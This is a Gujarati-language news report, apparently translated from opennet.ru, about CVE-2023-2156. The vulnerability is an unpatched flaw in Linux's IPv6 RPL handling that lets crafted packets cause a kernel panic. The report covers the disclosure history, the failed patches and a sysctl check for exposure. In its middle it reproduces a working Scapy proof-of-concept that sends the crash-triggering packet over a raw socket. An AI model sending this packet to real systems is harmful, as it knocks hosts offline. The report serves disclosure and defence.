IPv6 સ્ટેક શૂન્ય-દિવસની નબળાઈ Linux, જે દૂરસ્થ રીતે કર્નલ ક્રેશનું કારણ બને છે

કર્નલમાં અનપેચ્ડ (0-દિવસ) નબળાઈ (CVE-2023-2156) ની વિગતો જાહેર કરવામાં આવી છે. Linux, જે ખાસ બનાવેલા IPv6 પેકેટ્સ (પેકેટ-ઓફ-ડેથ) મોકલીને સિસ્ટમને રોકવાની મંજૂરી આપે છે. આ સમસ્યા ફક્ત ત્યારે જ થાય છે જ્યારે લો-પાવર અને લોસી નેટવર્ક્સ (RPL) માટે રૂટીંગ પ્રોટોકોલ માટે સપોર્ટ સક્ષમ કરવામાં આવે છે, જે ડિસ્ટ્રિબ્યુશનમાં ડિફોલ્ટ રૂપે અક્ષમ હોય છે અને મુખ્યત્વે ઉચ્ચ પેકેટ નુકશાનવાળા વાયરલેસ નેટવર્ક્સ પર કાર્યરત એમ્બેડેડ ઉપકરણો પર ઉપયોગમાં લેવાય છે.

RPL પ્રોટોકોલ પાર્સિંગ કોડમાં બાહ્ય ડેટાના ખોટા હેન્ડલિંગને કારણે આ નબળાઈ ઊભી થાય છે, જે એક એસેરશન એરર અને કર્નલ પેનિકને ટ્રિગર કરે છે. જ્યારે IPv6 RPL પેકેટ હેડરનું વિશ્લેષણ કરીને મેળવેલ ડેટા k_buff (સોકેટ બફર) સ્ટ્રક્ચરમાં મૂકવામાં આવે છે, જો CmprI ફીલ્ડ 15 પર સેટ હોય, તો સેગલેફ્ટ ફીલ્ડ 1 પર સેટ હોય, અને CmprE ફીલ્ડ 0 પર સેટ હોય, તો એડ્રેસ સાથેનો 48-બાઇટ વેક્ટર 528 બાઇટ પર અનપેક થાય છે, જેના પરિણામે બફર માટે ફાળવેલ મેમરી અપૂરતી હોય છે. આ કિસ્સામાં, skb_push ફંક્શન, જે સ્ટ્રક્ચરમાં ડેટા મૂકવા માટે વપરાય છે, ડેટા અને બફર કદના અસંતુલન માટે તપાસ કરે છે, જે બફરની સીમાઓથી આગળ લખવાથી બચવા માટે ગભરાટ પેદા કરે છે.

ઉદાહરણ શોષણ: # અમે scapy.all માંથી પેકેટ બનાવવા માટે Scapy નો ઉપયોગ કરીશું import * import socket # તમારા LAN ઇન્ટરફેસમાંથી IPv6 નો ઉપયોગ કરો DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # અમે પેકેટ મોકલવા માટે સોકેટનો ઉપયોગ કરીએ છીએ sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # પેકેટ બનાવો # પ્રકાર = 3 આને RPL પેકેટ બનાવે છે # સરનામાંઓમાં 3 સરનામાં હોય છે, પરંતુ CmprI 15 હોવાથી, # પહેલા બે સરનામાંના દરેક ઓક્ટેટને સંકુચિત સરનામાં તરીકે ગણવામાં આવે છે # સેગલેફ્ટ = 1 એમ્પ્લીફિકેશન ટ્રિગર કરવા માટે # lastentry = 0xf0 CmprI ને 15 અને CmprE ને 0 p પર સેટ કરે છે = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses=[“a8::”, “a7::”, “a6::”], segleft=1, lastentry=0xf0) # આ દુષ્ટ પેકેટ sockfd.sendto(bytes(p), (DST_ADDR, 0)) મોકલો.

નોંધનીય છે કે, કર્નલ ડેવલપર્સને જાન્યુઆરી 2022 માં નબળાઈ વિશે જાણ કરવામાં આવી હતી અને છેલ્લા 15 મહિનામાં ત્રણ વખત તેને સુધારવાનો પ્રયાસ કરવામાં આવ્યો હતો, સપ્ટેમ્બર 2022, ઓક્ટોબર 2022 અને એપ્રિલ 2023 માં પેચ રિલીઝ કરવામાં આવ્યા હતા. જો કે, દરેક વખતે, સુધારાઓ અપૂરતા સાબિત થયા, અને નબળાઈને ફરીથી ઉત્પન્ન કરી શકાય છે. આખરે, ZDI પ્રોજેક્ટ, જેણે નબળાઈના સુધારાનું સંકલન કર્યું હતું, તેણે કર્નલમાં કાર્યકારી પેચ રિલીઝ થવાની રાહ જોયા વિના નબળાઈ વિશે વિગતવાર માહિતી જાહેર કરવાનું નક્કી કર્યું.

તેથી, નબળાઈ પેચ વગરની રહે છે. કર્નલ 6.4-rc2 માં સમાવિષ્ટ પેચ પણ બિનઅસરકારક છે. વપરાશકર્તાઓને ખાતરી કરવાની સલાહ આપવામાં આવે છે કે RPL પ્રોટોકોલનો ઉપયોગ તેમની સિસ્ટમ પર થયો નથી, જે sysctl -a | grep -i rpl_seg_enabled આદેશનો ઉપયોગ કરીને કરી શકાય છે.

સોર્સ: opennet.ru

DDoS સુરક્ષા, VPS VDS સર્વર ધરાવતી સાઇટ્સ માટે વિશ્વસનીય હોસ્ટિંગ ખરીદો 🔥 DDoS સુરક્ષા, VPS VDS સર્વર્સ સાથે વિશ્વસનીય વેબસાઇટ હોસ્ટિંગ ખરીદો | ProHoster